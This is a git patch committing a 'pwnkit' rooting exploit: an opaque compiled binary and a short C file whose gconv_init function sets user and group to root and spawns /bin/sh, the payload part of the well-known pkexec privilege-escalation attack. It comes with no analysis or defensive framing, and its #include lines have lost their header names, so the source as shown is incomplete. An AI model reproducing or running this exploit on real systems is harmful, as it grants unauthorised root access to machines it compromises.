From 282a1feaf0705fff1b0e4266f5c830dc26bccb57 Mon Sep 17 00:00:00 2001 From: syn Date: Mon, 24 Feb 2025 14:48:20 +0700 Subject: [PATCH] Rooting: pwnkit --- rooting/compile/pwnkit | Bin 0 -> 16184 bytes rooting/pwnkit.c | 20 ++++++++++++++++++++ 2 files changed, 20 insertions(+) create mode 100755 rooting/compile/pwnkit create mode 100644 rooting/pwnkit.c diff --git a/rooting/compile/pwnkit b/rooting/compile/pwnkit new file mode 100755 index 0000000000000000000000000000000000000000..f9403cc345bba2b981cf64f0cc5d85310df70e46 GIT binary patch literal 16184 zcmeHOYit}>6~12Q;gZC5(j?6Tn(ZScA@bTzoHPxXtREYXAx=zU3#CdJuf1z~#lF~` zP3))?SEg01#8Th~L{OvvKhlU-gb)gUz-gdKkf@v%i4>&Ds)%GuJRBZX3c|~G=AJVi zPuCOy;s?yNX1;sAbI!eY&fJ;3*K_Y@A_ory%F2|aa`jpw;#pke2uME=NlK|5Z5=tD1Ic8-;3<`BKrx>a(#jl zPl^d0dpVw7tb>k{px1AZ{k+(!-IO5JLFwonEB3F{*U5g_pk0jeqSPZO^?eL}6qkQC z$!$Ku^(}TE208wM99~tMO!V$)s7=Odl8JO-sAg#Io|-)kp?oH^({2K_D~N;oRNJ9$ zg<>X%<1nhgh?b>1(ye7Z*?)P>iN~utE?)Xl(=Tqn*7oG3n(sXFb+Vy$lMmTYqVlAR zkWBga;2;|vk7tn69O13_D=EUo5|zKEgt8Z0umt}wxKj3^Mfj(|2XT1QZV;u)`OqT# zIQSqAZ+bt7QstC^r?$Q$nP%Tm)a*~BqsheSxH3)L*gi9FMRS&!iYC%3Td?vfAGZpL zn2Ha@`%cD58nC5=rO2Fa`ySPHu)Vp(+!@*#+U?|bH7K*atHX@NbMb*h-iqhCI$DyM zbi6Cto21$XQkgW@W@^)thG=#G_p}^;?laxzfNFwP`g37Z;y&sXA7$=)pZfy3K|p<+ zFI?U;@_bLM)`|=K9uaIL?N}6`@_Is8Uvo2ohAk{q= zPyJcaW#;KMF3%F_uDE!5P9#mZc>O$R%?%gNKMA&C(#0c?e)1#WN5GGO9|1oCegymo z{NF|3k5v!;#Tflfg>h!->$OT5&rVo@;-oS9qZmuUbu^EF2YA1{qC0tw$B-3v&Plm?KiI8D>uqs zHg3&XYf-?nTtG!}O1D$|DSji3q*jF;-NtBRFJ+CfJJw3$Ok+QU>DT9q#pxKL_43ja zkjqZM*QuZUXHG#$nQr)x2OJ#rg7 zU2eIira(;-^&>h>e+zZ%+$eI!8MushPZ{GKlg8L9#@O}gk0*0Y3u&jR?^9B}%ouiF9p# zP<1wS8I84te6BW`>5C?7^WgWnWJjD=*pwFSY$j__X(}?5O=c2SkUpvvta$7ps;6vo z`3Eu0SM*Kh^6!hqAz<}vv3LO(1kzM73+w?NyIU+y0%O2g;2Xe|{4t8YrBW(8eMFTF zRhMmExxC^Wbi~t|feMuI7#XxKw?CadifjXpI@H+%RF%~SDmQ$jYQ?FF5w(BQ6Cc?1 zsQvkn{Ey=pgq?hIBXi;{96jJWiQq(aoyGAC>RUlvq_Xoc1rT%$c-$^dce&r)0~9TCJjo~1=3uElIZ_DSIm%nnHS;7n!c$e z#LC)JrEarc*6>}_YGu!bkf-?%rF9ydGrOttydF>164HE-63w?L$=baKw5ZPUB0u3L zxna`o3AU59eNw+Yzk*Ke{#w-6hq&4lzEaxPdx6Wt7gbx9xMPZD%g?j^ZI$cnd&iZ*N<(Ibo2IsjFeioTh>!w#BAVD#5;c=VCTO{lvk=+iyR5|;=SF4Rq zoW-k&>;tQnyqAP;Tcn&Pxg2l31K@+=?81}aR|hsK>A#{HC7xQ!PW;+Zp9jANExpP8 zN8VHC!B?Z7YzRvU8hhA&ik~a{e@ak&h3%zZiPt5zKg2LUEB;OV-& z<-Y+wIPdP{?k!Tz3cOe!cC6+zJHW3A;8(=+zIcpykU!`6*#EO4x1)VIt3H&$lJ;nC z!nC3T3Pj#2^!JDQ)co>y(@L3rv;aO2%UH%7NM?GYNi$|;a(Oda7*c(iR5lsMzXL;c zr7dW!e!`6Aa?xQkp0;wssy`P^#m!hDl^TYNOEO_;EilcVN`Eq8p+%;7;7C(P#Ecwj zHL>u%_1K}Nj`kMN*jQmk4AvU0N0ixi@Njd}LG$o|14koWW>-`5!3aFO`vk(W{Qq5+ z{L^*<$CkDVnDJQDiYoiEc!R-0y-9k#M*!6>+%RCq@)>h5nvT(Cg7(9(iY3x!As>&a zfxb-oBuY=m;MJSYa|!mI2EBn{K{fHAgtdS$O>9+=_|P7Pk{c8B#t4t2dq>3rmE9)$ zt|%4C52vhXFVMTTyQtnm0-JBJ3qxBqHMiGL zr?brmqxesCC^no%6&kIa)|`yz@`+4(fnY+HizlPxz`1PFQX%R*DuirkAj6q_yibL! z_z*w?+(#$lIjMte-RThsG={?CZl}fei?P}nH;KFl8MnW8-x&SB-JRt9D;)hUyZvQc zAQ%)wMz25ZcX_x`^C*6kl;KfxaD z=A7kcPLS@8+kb==f?_8Hh%9*71ZoiDL z1Z6%b_TKpYg#G3Is~}r4rdSk^`zP|xkfHj;KO58RM1U*^FVYCs~1otEZh;r|8&^ZP=)!zXIfvOGw literal 0 HcmV?d00001 diff --git a/rooting/pwnkit.c b/rooting/pwnkit.c new file mode 100644 index 0000000..d2053df --- /dev/null +++ b/rooting/pwnkit.c @@ -0,0 +1,20 @@ +#include +#include +#include + +void gconv(void) { } + +void gconv_init(void *step) { + char * const args[] = { "/bin/sh", NULL }; + char * const environ[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin", NULL }; + setuid(0); + setgid(0); + execve(args[0], args, environ); + exit(0); +} + +int main() { + printf("Exploit executed!\n"); + return 0; +} +